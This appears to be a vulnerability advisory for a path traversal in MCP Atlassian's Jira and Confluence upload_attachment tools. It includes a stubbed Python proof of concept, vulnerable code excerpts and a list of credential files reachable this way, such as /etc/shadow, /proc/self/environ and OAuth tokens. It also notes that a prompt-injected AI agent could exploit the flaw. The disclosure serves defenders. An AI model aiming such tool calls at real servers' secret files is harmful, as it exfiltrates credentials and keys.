MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
### Summary The `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment. This is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules. --- ### Details **Affected functions:** | File | Function | Line | |------|----------|------| | `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 | | `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 | | `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 | **Jira — vulnerable code path (`jira/attachments.py`):** ```python def upload_attachment(self, issue_key: str, file_path: str) -> dict: ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # resolves relative paths if not os.path.exists(file_path): # confirms file exists ... # ⚠ validate_safe_path() is NEVER called here filename = os.path.basename(file_path) with open(file_path, "rb") as file: # arbitrary file opened attachment = self.jira.add_attachment( issue_key=issue_key, filename=file_path ) ``` Compare with the **protected** download path in the same file: ```python def download_attachment(self, url: str, target_path: str) -> bool: ... validate_safe_path(target_path) # upload has no equivalent ``` **Confluence — vulnerable code path (`confluence/attachments.py`):** ```python def upload_attachment(self, content_id, file_path, ...): ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # ⚠ validate_safe_path() is NEVER called filename = os.path.basename(file_path) attachment = self._upload_attachment_direct( content_id, file_path, filename, comment, minor_edit ) # Inside _upload_attachment_direct(): files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened ``` --- ### PoC Tested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required — the API call is stubbed. **Jira PoC (`poc_001_jira_path_traversal.py`):** ```python import sys, os, types from unittest.mock import MagicMock sys.path.insert(0, "src") def _make_pkg(name): m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m atlassian_pkg = _make_pkg("atlassian") atlassian_jira = _make_pkg("atlassian.jira") atlassian_pkg.jira = atlassian_jira atlassian_jira.Jira = type("Jira", (), { "__init__": lambda s, *a, **k: None, "_session": MagicMock() }) atlassian_pkg.Jira = atlassian_jira.Jira keyring = _make_pkg("keyring") keyring.get_password = keyring.set_password = lambda *a, **k: None from mcp_atlassian.jira.attachments import AttachmentsMixin from mcp_atlassian.jira.config import JiraConfig config = JiraConfig(url="https://test.atlassian.net", auth_type="basic", username="x", api_token="x") class FakeFetcher(AttachmentsMixin): def __init__(self): self.config = config self.jira = MagicMock() self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"} result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd") print(result) ``` **Observed output — Jira (Kali Linux, v0.21.1):** <img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" /> ``` [*] Target file : /etc/passwd [*] Calling : AttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — file opened with no path validation add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd') ``` **Observed output — Confluence (Kali Linux, v0.21.1):** <img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" /> ``` [*] Target file : /etc/passwd [*] Calling : ConfluenceAttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — /etc/passwd opened without validate_safe_path() upload_attachment() → _upload_attachment_direct() → open(file_path) download_attachment() in same file IS protected — asymmetric fix ``` Key evidence: - `success: True` — no exception raised, no path validation triggered - `size: 3388` — `/etc/passwd` was opened and read by `os.path.getsize()` - Both modules affected independently — neither Jira nor Confluence has an upload-side guard In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page. --- ### Impact Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process: - `/etc/shadow` — system password hashes - `/proc/self/environ` — process environment variables (API keys, secrets) - `~/.mcp-atlassian/oauth-*.json` — stored OAuth refresh tokens - SSH private keys, TLS certificates, application configuration files No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected. **Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-77266US | — | — | ||
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequenc… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/sooperset/mcp-atlassianPACKAGE
- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460WEB
- https://github.com/sooperset/mcp-atlassian/pull/1448WEB
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0WEB
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgpWEB
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan